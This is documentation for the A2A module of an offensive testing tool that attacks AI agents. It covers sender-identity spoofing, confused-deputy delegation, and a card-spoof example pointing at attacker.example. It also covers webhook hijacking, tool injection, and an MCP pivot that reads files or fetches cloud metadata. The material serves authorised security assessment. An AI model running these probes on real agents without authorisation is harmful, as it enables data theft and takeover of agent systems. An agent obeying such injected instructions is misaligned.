A2A¶
Enumerate and exploit Agent-to-Agent (A2A) protocol endpoints.
Overview¶
The a2a module probes Google's Agent-to-Agent (A2A) protocol surface: it reads the public agent card, enumerates advertised skills, and drives bounded JSON-RPC task probes — including streaming SSE eavesdrop, push-notification webhook hijack, a cross-protocol pivot into MCP-backed tools, and five single-node structural probes (auth enforcement, message integrity, sender identity, delegation, agent-card trust).
A2A is an open agent-protocol frontier with near-zero CVEs but real structural weaknesses, so most of these verbs target implementation gaps (advertise-but-don't-enforce, missing integrity/identity verification, blind trust) rather than known bugs.
Protocol/version handling. The client speaks A2A v1.0 first (SendMessage, GetTask, CancelTask, SendStreamingMessage) and automatically falls back to v0.3 (message/send, message/stream, tasks/get) and legacy v0.2 (tasks/send) when the agent rejects a version with a JSON-RPC -32601 / -32602 / -32009 error. The agent card is fetched from /.well-known/agent-card.json, falling back to /.well-known/agent.json for older agents.
Scope (single-node). Every verb operates against exactly one --target. Traffic interception/rewriting, agent-mesh trust-mapping, and differential privilege-laundering proof are out of scope for aipostex — they belong to adjacent tooling. A2A here is strictly find-and-probe-a-node.
Subcommands¶
Read-only (no --force-exploit required)¶
| Subcommand | Description |
|---|---|
enum |
Fetch and parse the public A2A agent card |
skills |
Enumerate advertised agent skills with I/O modes |
task-status |
Poll A2A task state |
auth-probe |
Check whether advertised authentication is actually enforced |
Gated (requires --force-exploit)¶
| Subcommand | Description |
|---|---|
msg-integrity |
Test whether the agent verifies message integrity |
sender-spoof |
Forge a self-asserted sender identity and detect if behavior depends on it |
delegate-probe |
Test whether the agent delegates to a caller-supplied peer (confused deputy) |
card-spoof |
Test whether the agent fetches/trusts a caller-supplied agent card |
task-send |
Submit an unauthenticated A2A message/task |
task-cancel |
Cancel an A2A task (DoS-style) |
stream-probe |
Subscribe to a streaming message/task and observe intermediate events |
push-hijack |
Register a canary task webhook |
mcp-pivot |
Cross-protocol probe: drive an A2A task into MCP-backed tools |
scrape-loop |
Continuous task-submission loop for data extraction |
tool-inject |
Inject a tool call via a task message to test blind forwarding |
replay |
Replay a message to test deterministic / stateless behavior |
Flags¶
Common (persistent)¶
| Flag | Required | Description |
|---|---|---|
--target, -t |
Yes | A2A base URL (e.g., http://127.0.0.1:8103) |
--header |
No | Additional HTTP header(s) in Key: Value format. Repeatable. |
Per-subcommand¶
| Subcommand | Flags |
|---|---|
auth-probe |
--token (optional known-good bearer token for the auth differential) |
msg-integrity |
--mode (unsigned | bad-sig, default bad-sig), --message |
sender-spoof |
--spoof-id (required), --message |
delegate-probe |
--peer-url (default a non-resolving canary), --depth (chained hops), --message |
card-spoof |
--card-url (default a non-resolving canary), --message |
task-send |
--message (required), --task-id |
task-status / task-cancel |
--task-id (required) |
stream-probe |
--message, --task-id, --max-bytes (default 32KB), --continuous, --poll-interval |
push-hijack |
--task-id (required), --webhook-url (default a non-resolving canary) |
mcp-pivot |
--preset (tool-enum | file-read | ssrf), --path, --url, --loop, --max-pivots |
scrape-loop |
--prompt (repeatable), --delay |
tool-inject |
--tool (required), --args (JSON), --task-id |
replay |
--message (required), --original-task-id |
Proof model¶
Findings carry proof metadata (proof_stage / proof_strength) and are honest in both directions — a verb reports an elevated severity with influenced / execution-confirmed strength only when a weakness is genuinely present, and reachable (Info) when the agent behaves safely. A 4xx/5xx rejection from an agent that enforces auth is treated as a valid "not weak" signal, not an error.
For the verbs whose weakness is an outbound action — card-spoof (fetch-and-trust) and push-hijack (webhook delivery) — an accepted instruction alone is only influenced. Pass an http(s) --callback-url: the verb stands up an in-process out-of-band listener on that URL and registers it with the target, and only a real inbound callback upgrades the proof to exploited. This is the same OOB-confirmation primitive the TorchServe SSRF check uses.
Structural probes (the five single-node verbs)¶
Each probe sends a benign request and classifies the response; none carry offensive payloads — they exercise the agent's validation gaps.
auth-probe (read-only)¶
Reads the card's advertised securitySchemes, then issues an unauthenticated tasks/get for a nonexistent probe id (also with a bogus bearer, and an optional --token). If the card advertises a scheme but the unauthenticated read is processed (any status other than 401/403), authentication is optional/not enforced → Medium, influenced. If the read is rejected (401/403) or the card advertises nothing, it reports the posture as Info, reachable (enforced / not-enforced).
msg-integrity (gated)¶
Submits a benign message with a present-but-invalid signature header (--mode bad-sig) or with no signature (--mode unsigned). If a bad-sig message is accepted (2xx, no JSON-RPC error), the signature-verification path is absent or decorative → Medium, influenced. unsigned acceptance is a Low structural-gap note (A2A has no mandatory signature). A rejection is Info, reachable.
sender-spoof (gated)¶
Submits the same message twice — once with no asserted sender, once with --spoof-id set in the X-A2A-Caller-Id / X-Agent-Id / X-A2A-From headers — and diffs the responses. A behavioral delta (status / error / task state) means the agent acts on an unverified identity → Medium, influenced. If the anonymous request is rejected but the forged-id one is accepted, that is privilege gained via spoofing → High, execution-confirmed. No delta is Info.
delegate-probe (gated)¶
Instructs the agent to delegate a subtask to a caller-supplied peer URL (--peer-url, default a non-resolving canary; --depth for chained hops). If the agent attempts the outbound call (the response echoes the peer URL, delegation/forward language, or a connection error), it delegates to an un-allowlisted peer — a confused-deputy weakness → High, influenced. An accepted task with no observed outbound is Low; a rejection is Info.
aipostex a2a --target http://127.0.0.1:8103 delegate-probe --peer-url http://peer:8103/ --force-exploit
card-spoof (gated)¶
Instructs the agent to fetch and trust an agent card at a caller-supplied URL (--card-url). Agent cards are unauthenticated discovery documents; an agent that ingests caller-supplied cards is hijackable. Acceptance (2xx, no JSON-RPC error) → Medium, influenced; rejection → Info.
Listener-confirmed (--callback-url). Pass an http(s) --callback-url and it is used as the attacker card URL while an in-process out-of-band listener runs on its port. If the agent actually dereferences the URL, the inbound hit is captured and the finding is upgraded to High, exploited (card-trust-confirmed) — proof that the agent really fetched the attacker card, not just that it accepted the instruction.
# Influenced (accept signal only):
aipostex a2a --target http://127.0.0.1:8103 card-spoof --card-url http://attacker.example/.well-known/agent-card.json --force-exploit
# Listener-confirmed (exploited on a real fetch); use a host/port the agent can reach:
aipostex a2a --target http://127.0.0.1:8103 card-spoof --callback-url http://10.0.0.5:8000/card --force-exploit
Task & stream verbs¶
task-send— submit an unauthenticatedmessage/task; reports honestly whether submission was accepted vs rejected (never claims success on a JSON-RPC error).stream-probe— open an SSE stream and observe intermediate reasoning / tool-call events, bounded by--max-bytes;--continuousreconnects until the task completes. Only claims an eavesdrop when events are actually observed.push-hijack— register an attacker-controlled task webhook (default a non-resolving canary) and query the push-notification config to confirm registration persisted. Registration accepted isinfluenced; pass an http(s)--callback-urlto register it as the webhook and run an out-of-band listener — a real inbound delivery upgrades the proof toexploited(callback_confirmed).task-status/task-cancel— poll or cancel a task by--task-id.
Cross-protocol & extraction verbs¶
mcp-pivot— drive an A2A task into the agent's MCP-backed tools. Presets:tool-enum(list tools),file-read(read--path, default/etc/hostname),ssrf(fetch--url, default the cloud metadata endpoint).--loopchains follow-up tasks up to--max-pivots.scrape-loop— submit a series of--promptextraction requests as separate tasks to systematically pull data from an agent with sensitive tools.tool-inject— instruct the agent to invoke a named--toolwith attacker-supplied--argsto probe blind tool forwarding.replay— re-send a message and compare to a previous task's output to test for missing session binding / replayability.
Examples¶
# Enumerate the agent and its skills
aipostex a2a --target http://127.0.0.1:8103 enum
aipostex a2a --target http://127.0.0.1:8103 skills
# Structural posture (auth is read-only; the rest are gated)
aipostex a2a --target http://127.0.0.1:8103 auth-probe
aipostex a2a --target http://127.0.0.1:8103 msg-integrity --mode bad-sig --force-exploit
aipostex a2a --target http://127.0.0.1:8103 sender-spoof --spoof-id acme-admin --force-exploit
aipostex a2a --target http://127.0.0.1:8103 delegate-probe --peer-url http://peer:8103/ --force-exploit
aipostex a2a --target http://127.0.0.1:8103 card-spoof --card-url http://attacker.example/.well-known/agent-card.json --force-exploit
# Cross-protocol pivot into MCP-backed tools
aipostex a2a --target http://127.0.0.1:8103 mcp-pivot --preset file-read --force-exploit